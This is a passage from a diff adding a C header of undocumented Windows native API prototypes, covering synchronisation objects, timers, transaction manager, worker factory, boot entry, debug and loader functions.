+NtSetIoCompletionEx( + _In_ HANDLE IoCompletionHandle, + _In_ HANDLE IoCompletionPacketHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRemoveIoCompletion( + _In_ HANDLE IoCompletionHandle, + _Out_ PVOID *KeyContext, + _Out_ PVOID *ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER Timeout + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRemoveIoCompletionEx( + _In_ HANDLE IoCompletionHandle, + _Out_writes_to_(Count, *NumEntriesRemoved) PFILE_IO_COMPLETION_INFORMATION IoCompletionInformation, + _In_ ULONG Count, + _Out_ PULONG NumEntriesRemoved, + _In_opt_ PLARGE_INTEGER Timeout, + _In_ BOOLEAN Alertable + ); +#endif + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSCALLAPI +NTSTATUS +NTAPI +NtNotifyChangeSession( + _In_ HANDLE SessionHandle, + _In_ ULONG ChangeSequenceNumber, + _In_ PLARGE_INTEGER ChangeTimeStamp, + _In_ IO_SESSION_EVENT Event, + _In_ IO_SESSION_STATE NewState, + _In_ IO_SESSION_STATE PreviousState, + _In_reads_bytes_opt_(PayloadSize) PVOID Payload, + _In_ ULONG PayloadSize + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN InitialOwner + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseMutant( + _In_ HANDLE MutantHandle, + _Out_opt_ PLONG PreviousCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlertThread( + _In_ HANDLE ThreadHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlertResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtTestAlert( + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtImpersonateThread( + _In_ HANDLE ServerThreadHandle, + _In_ HANDLE ClientThreadHandle, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ LONG InitialCount, + _In_ LONG MaximumCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseSemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ LONG ReleaseCount, + _Out_opt_ PLONG PreviousCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + _Out_writes_bytes_(SemaphoreInformationLength) PVOID SemaphoreInformation, + _In_ ULONG SemaphoreInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TIMER_TYPE TimerType + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetTimer( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, + _In_opt_ PVOID TimerContext, + _In_ BOOLEAN ResumeTimer, + _In_opt_ LONG Period, + _Out_opt_ PBOOLEAN PreviousState + ); + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetTimerEx( + _In_ HANDLE TimerHandle, + _In_ TIMER_SET_INFORMATION_CLASS TimerSetInformationClass, + _Inout_updates_bytes_opt_(TimerSetInformationLength) PVOID TimerSetInformation, + _In_ ULONG TimerSetInformationLength + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelTimer( + _In_ HANDLE TimerHandle, + _Out_opt_ PBOOLEAN CurrentState + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryTimer( + _In_ HANDLE TimerHandle, + _In_ TIMER_INFORMATION_CLASS TimerInformationClass, + _Out_ PVOID TimerInformation, + _In_ ULONG TimerInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseKeyedEvent( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForKeyedEvent( + _In_ HANDLE KeyedEventHandle, + _In_ PVOID KeyValue, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUmsThreadYield( + _In_ PVOID SchedulerParam + ); +#endif + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateTransactionManager( + _Out_ PHANDLE TmHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PUNICODE_STRING LogFileName, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG CommitStrength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenTransactionManager( + _Out_ PHANDLE TmHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PUNICODE_STRING LogFileName, + _In_opt_ LPGUID TmIdentity, + _In_opt_ ULONG OpenOptions + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRenameTransactionManager( + _In_ PUNICODE_STRING LogFileName, + _In_ LPGUID ExistingTransactionManagerGuid + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRollforwardTransactionManager( + _In_ HANDLE TransactionManagerHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRecoverTransactionManager( + _In_ HANDLE TransactionManagerHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationTransactionManager( + _In_ HANDLE TransactionManagerHandle, + _In_ TRANSACTIONMANAGER_INFORMATION_CLASS TransactionManagerInformationClass, + _Out_writes_bytes_(TransactionManagerInformationLength) PVOID TransactionManagerInformation, + _In_ ULONG TransactionManagerInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationTransactionManager( + _In_ HANDLE TmHandle, + _In_ TRANSACTIONMANAGER_INFORMATION_CLASS TransactionManagerInformationClass, + _In_ PVOID TransactionManagerInformation, + _In_ ULONG TransactionManagerInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateTransactionObject( + _In_opt_ HANDLE RootObjectHandle, + _In_ KTMOBJECT_TYPE QueryType, + _Inout_updates_bytes_(ObjectCursorLength) PKTMOBJECT_CURSOR ObjectCursor, + _In_ ULONG ObjectCursorLength, + _Out_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateTransaction( + _Out_ PHANDLE TransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ LPGUID Uow, + _In_opt_ HANDLE TmHandle, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG IsolationLevel, + _In_opt_ ULONG IsolationFlags, + _In_opt_ PLARGE_INTEGER Timeout, + _In_opt_ PUNICODE_STRING Description + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenTransaction( + _Out_ PHANDLE TransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ LPGUID Uow, + _In_opt_ HANDLE TmHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationTransaction( + _In_ HANDLE TransactionHandle, + _In_ TRANSACTION_INFORMATION_CLASS TransactionInformationClass, + _Out_writes_bytes_(TransactionInformationLength) PVOID TransactionInformation, + _In_ ULONG TransactionInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationTransaction( + _In_ HANDLE TransactionHandle, + _In_ TRANSACTION_INFORMATION_CLASS TransactionInformationClass, + _In_ PVOID TransactionInformation, + _In_ ULONG TransactionInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCommitTransaction( + _In_ HANDLE TransactionHandle, + _In_ BOOLEAN Wait + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRollbackTransaction( + _In_ HANDLE TransactionHandle, + _In_ BOOLEAN Wait + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateEnlistment( + _Out_ PHANDLE EnlistmentHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE ResourceManagerHandle, + _In_ HANDLE TransactionHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_ NOTIFICATION_MASK NotificationMask, + _In_opt_ PVOID EnlistmentKey + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenEnlistment( + _Out_ PHANDLE EnlistmentHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE ResourceManagerHandle, + _In_ LPGUID EnlistmentGuid, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_ ENLISTMENT_INFORMATION_CLASS EnlistmentInformationClass, + _Out_writes_bytes_(EnlistmentInformationLength) PVOID EnlistmentInformation, + _In_ ULONG EnlistmentInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationEnlistment( + _In_opt_ HANDLE EnlistmentHandle, + _In_ ENLISTMENT_INFORMATION_CLASS EnlistmentInformationClass, + _In_reads_bytes_(EnlistmentInformationLength) PVOID EnlistmentInformation, + _In_ ULONG EnlistmentInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRecoverEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PVOID EnlistmentKey + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrePrepareEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrepareEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCommitEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRollbackEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrePrepareComplete( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrepareComplete( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCommitComplete( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadOnlyEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRollbackComplete( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSinglePhaseReject( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateResourceManager( + _Out_ PHANDLE ResourceManagerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE TmHandle, + _In_opt_ LPGUID ResourceManagerGuid, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_opt_ PUNICODE_STRING Description + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenResourceManager( + _Out_ PHANDLE ResourceManagerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE TmHandle, + _In_ LPGUID ResourceManagerGuid, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRecoverResourceManager( + _In_ HANDLE ResourceManagerHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetNotificationResourceManager( + _In_ HANDLE ResourceManagerHandle, + _Out_ PTRANSACTION_NOTIFICATION TransactionNotification, + _In_ ULONG NotificationLength, + _In_ PLARGE_INTEGER Timeout, + _Out_opt_ PULONG ReturnLength, + _In_ ULONG Asynchronous, + _In_opt_ ULONG_PTR AsynchronousContext + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationResourceManager( + _In_ HANDLE ResourceManagerHandle, + _In_ RESOURCEMANAGER_INFORMATION_CLASS ResourceManagerInformationClass, + _Out_writes_bytes_(ResourceManagerInformationLength) PVOID ResourceManagerInformation, + _In_ ULONG ResourceManagerInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationResourceManager( + _In_ HANDLE ResourceManagerHandle, + _In_ RESOURCEMANAGER_INFORMATION_CLASS ResourceManagerInformationClass, + _In_ PVOID ResourceManagerInformation, + _In_ ULONG ResourceManagerInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRegisterProtocolAddressInformation( + _In_ HANDLE ResourceManager, + _In_ PCRM_PROTOCOL_ID ProtocolId, + _In_ ULONG ProtocolInformationSize, + _In_ PVOID ProtocolInformation, + _In_opt_ ULONG CreateOptions + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPropagationComplete( + _In_ HANDLE ResourceManagerHandle, + _In_ ULONG RequestCookie, + _In_ ULONG BufferLength, + _In_ PVOID Buffer + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPropagationFailed( + _In_ HANDLE ResourceManagerHandle, + _In_ ULONG RequestCookie, + _In_ NTSTATUS PropStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFreezeTransactions( + _In_ PLARGE_INTEGER FreezeTimeout, + _In_ PLARGE_INTEGER ThawTimeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtThawTransactions( + ); +#endif + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateWorkerFactory( + _Out_ PHANDLE WorkerFactoryHandleReturn, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE CompletionPortHandle, + _In_ HANDLE WorkerProcessHandle, + _In_ PUSER_THREAD_START_ROUTINE StartRoutine, + _In_opt_ PVOID StartParameter, + _In_opt_ ULONG MaxThreadCount, + _In_opt_ SIZE_T StackReserve, + _In_opt_ SIZE_T StackCommit + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + _Out_ PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, + _In_ PVOID WorkerFactoryInformation, + _In_ ULONG WorkerFactoryInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtShutdownWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _Inout_ volatile LONG *PendingWorkerCount + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseWorkerFactoryWorker( + _In_ HANDLE WorkerFactoryHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWorkerFactoryWorkerReady( + _In_ HANDLE WorkerFactoryHandle + ); +#endif + +#if NTDDI_VERSION >= NTDDI_VISTA +#if NTDDI_VERSION >= NTDDI_WIN8 || defined(_WIN64) +// Windows 8+ declaration, can be used on Win 7 x64 +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForWorkViaWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _Out_ PFILE_IO_COMPLETION_INFORMATION *MiniPacket, + _In_ ULONG NumberOfMiniPackets, + _Out_ PULONG NumberOfMiniPacketsReturned, + _In_opt_ PHANDLE Handles, + _In_ PULONG Flags + ); +#else +// Allow Windows 7 x86 to link (import @8 instead of @20) and run without stack corruption +// If you're using one of the new shitty Windows versions on x86 you should use the other declaration +NTSYSCALLAPI +NTSTATUS +NTAPI +ZwWaitForWorkViaWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _Out_ PFILE_IO_COMPLETION_INFORMATION MiniPacket + ); + +FORCEINLINE +NTSTATUS +NtWaitForWorkViaWorkerFactory( + _In_ HANDLE WorkerFactoryHandle, + _Out_ PFILE_IO_COMPLETION_INFORMATION MiniPacket, + _Reserved_ ULONG Count, + _Reserved_ PULONG NumEntriesRemoved, + _Reserved_ PLARGE_INTEGER Unknown + ) +{ + UNREFERENCED_PARAMETER(Count); + UNREFERENCED_PARAMETER(NumEntriesRemoved); + UNREFERENCED_PARAMETER(Unknown); + + return ZwWaitForWorkViaWorkerFactory(WorkerFactoryHandle, + MiniPacket); +} +#endif +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValue( + _In_ PUNICODE_STRING VariableName, + _Out_writes_bytes_(ValueLength) PWSTR VariableValue, + _In_ USHORT ValueLength, + _Out_opt_ PUSHORT ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemEnvironmentValue( + _In_ PUNICODE_STRING VariableName, + _In_ PUNICODE_STRING VariableValue + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemEnvironmentValueEx( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _Out_writes_bytes_opt_(*ValueLength) PVOID Value, + _Inout_ PULONG ValueLength, + _Out_opt_ PULONG Attributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemEnvironmentValueEx( + _In_ PUNICODE_STRING VariableName, + _In_ LPGUID VendorGuid, + _In_reads_bytes_opt_(ValueLength) PVOID Value, + _In_ ULONG ValueLength, + _In_ ULONG Attributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateSystemEnvironmentValuesEx( + _In_ ULONG InformationClass, + _Out_ PVOID Buffer, + _Inout_ PULONG BufferLength + ); + +#if NTDDI_VERSION >= NTDDI_VISTA + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAddBootEntry( + _In_ PBOOT_ENTRY BootEntry, + _Out_opt_ PULONG Id + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteBootEntry( + _In_ ULONG Id + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtModifyBootEntry( + _In_ PBOOT_ENTRY BootEntry + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateBootEntries( + _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer, + _Inout_ PULONG BufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryBootEntryOrder( + _Out_writes_opt_(*Count) PULONG Ids, + _Inout_ PULONG Count + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetBootEntryOrder( + _In_reads_(Count) PULONG Ids, + _In_ ULONG Count + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryBootOptions( + _Out_writes_bytes_opt_(*BootOptionsLength) PBOOT_OPTIONS BootOptions, + _Inout_ PULONG BootOptionsLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetBootOptions( + _In_ PBOOT_OPTIONS BootOptions, + _In_ ULONG FieldsToChange + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtTranslateFilePath( + _In_ PFILE_PATH InputFilePath, + _In_ ULONG OutputType, + _Out_writes_bytes_opt_(*OutputFilePathLength) PFILE_PATH OutputFilePath, + _Inout_opt_ PULONG OutputFilePathLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAddDriverEntry( + _In_ PEFI_DRIVER_ENTRY DriverEntry, + _Out_opt_ PULONG Id + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteDriverEntry( + _In_ ULONG Id + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtModifyDriverEntry( + _In_ PEFI_DRIVER_ENTRY DriverEntry + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateDriverEntries( + _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer, + _Inout_ PULONG BufferLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDriverEntryOrder( + _Out_writes_opt_(*Count) PULONG Ids, + _Inout_ PULONG Count + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetDriverEntryOrder( + _In_reads_(Count) PULONG Ids, + _In_ ULONG Count + ); + +#endif + +#if NTDDI_VERSION >= NTDDI_WIN7 + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSerializeBoot( + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnableLastKnownGood( + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDisableLastKnownGood( + ); + +#endif + +NTSYSAPI +ULONG +__cdecl +DbgPrint( + _In_ PCH Format, + ... + ); + +NTSYSAPI +ULONG +__cdecl +DbgPrintEx( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ PCSTR Format, + ... + ); + +NTSYSAPI +VOID +NTAPI +DbgBreakPoint( + ); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiConnectToDbg( + ); + +NTSYSAPI +HANDLE +NTAPI +DbgUiGetThreadDebugObject( + ); + +NTSYSAPI +VOID +NTAPI +DbgUiSetThreadDebugObject( + _In_ HANDLE DebugObject + ); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiWaitStateChange( + _Out_ PDBGUI_WAIT_STATE_CHANGE StateChange, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiContinue( + _In_ PCLIENT_ID AppClientId, + _In_ NTSTATUS ContinueStatus + ); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiStopDebugging( + _In_ HANDLE Process + ); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiDebugActiveProcess( + _In_ HANDLE Process + ); + +NTSYSAPI +VOID +NTAPI +DbgUiRemoteBreakin( + _In_ PVOID Context + ); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiIssueRemoteBreakin( + _In_ HANDLE Process + ); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiConvertStateChangeStructure( + _In_ PDBGUI_WAIT_STATE_CHANGE StateChange, + _Out_ DEBUG_EVENT *DebugEvent + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrLoadDll( + _In_opt_ PCWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PUNICODE_STRING DllName, + _Out_ PVOID *DllHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandle( + _In_opt_ PCWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PUNICODE_STRING DllName, + _Out_ PVOID *DllHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandleEx( + _In_ ULONG Flags, + _In_opt_ PCWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PUNICODE_STRING DllName, + _Out_opt_ PVOID *DllHandle + ); + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandleByMapping( + _In_ PVOID Base, + _Out_ PVOID *DllHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandleByName( + _In_opt_ PUNICODE_STRING BaseDllName, + _In_opt_ PUNICODE_STRING FullDllName, + _Out_ PVOID *DllHandle + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetProcedureAddress( + _In_ PVOID DllHandle, + _In_opt_ CONST PANSI_STRING ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID *ProcedureAddress + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSAPI +NTSTATUS +NTAPI +LdrGetProcedureAddressEx( + _In_ PVOID DllHandle, + _In_opt_ PANSI_STRING ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID *ProcedureAddress, + _In_ ULONG Flags + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +LdrLockLoaderLock( + _In_ ULONG Flags, + _Out_opt_ ULONG *Disposition, + _Out_ PVOID *Cookie + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrUnlockLoaderLock( + _In_ ULONG Flags, + _Inout_ PVOID Cookie + ); + +NTSYSAPI +PIMAGE_BASE_RELOCATION +NTAPI +LdrProcessRelocationBlock( + _In_ ULONG_PTR VA, + _In_ ULONG SizeOfBlock, + _In_ PUSHORT NextOffset, + _In_ LONG_PTR Diff + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrUnloadDll( + _In_ PVOID DllHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrDisableThreadCalloutsForDll( + _In_ PVOID DllHandle + ); + +#if NTDDI_VERSION >= NTDDI_WS03 +NTSYSAPI +NTSTATUS +NTAPI +LdrOpenImageFileOptionsKey( + _In_ PUNICODE_STRING SubKey, + _In_ BOOLEAN Wow64, + _Out_ PHANDLE NewKeyHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryImageFileKeyOption( + _In_ HANDLE KeyHandle, + _In_ PCWSTR ValueName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ReturnedLength + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +LdrVerifyImageMatchesChecksum( + _In_ HANDLE ImageFileHandle, + _In_opt_ PLDR_IMPORT_MODULE_CALLBACK ImportCallbackRoutine, + _In_ PVOID ImportCallbackParameter, + _Out_opt_ PUSHORT ImageCharacteristics + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSAPI +NTSTATUS +NTAPI +LdrVerifyImageMatchesChecksumEx( + _In_ HANDLE ImageFileHandle, + _Inout_ PLDR_VERIFY_IMAGE_INFO VerifyInfo + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +LdrAccessResource( + _In_ PVOID DllHandle, + _In_ CONST PIMAGE_RESOURCE_DATA_ENTRY ResourceDataEntry, + _Out_opt_ PVOID *Address, + _Out_ PULONG Size + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindResourceDirectory_U( + _In_ PVOID DllHandle, + _In_ CONST LDR_RESOURCE_INFO* ResourceIdPath, + _In_ ULONG ResourceIdPathLength, + _Out_ PIMAGE_RESOURCE_DIRECTORY *ResourceDirectory + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindResource_U( + _In_ PVOID DllHandle, + _In_ CONST LDR_RESOURCE_INFO* ResourceIdPath, + _In_ ULONG ResourceIdPathLength, + _Out_ PIMAGE_RESOURCE_DATA_ENTRY 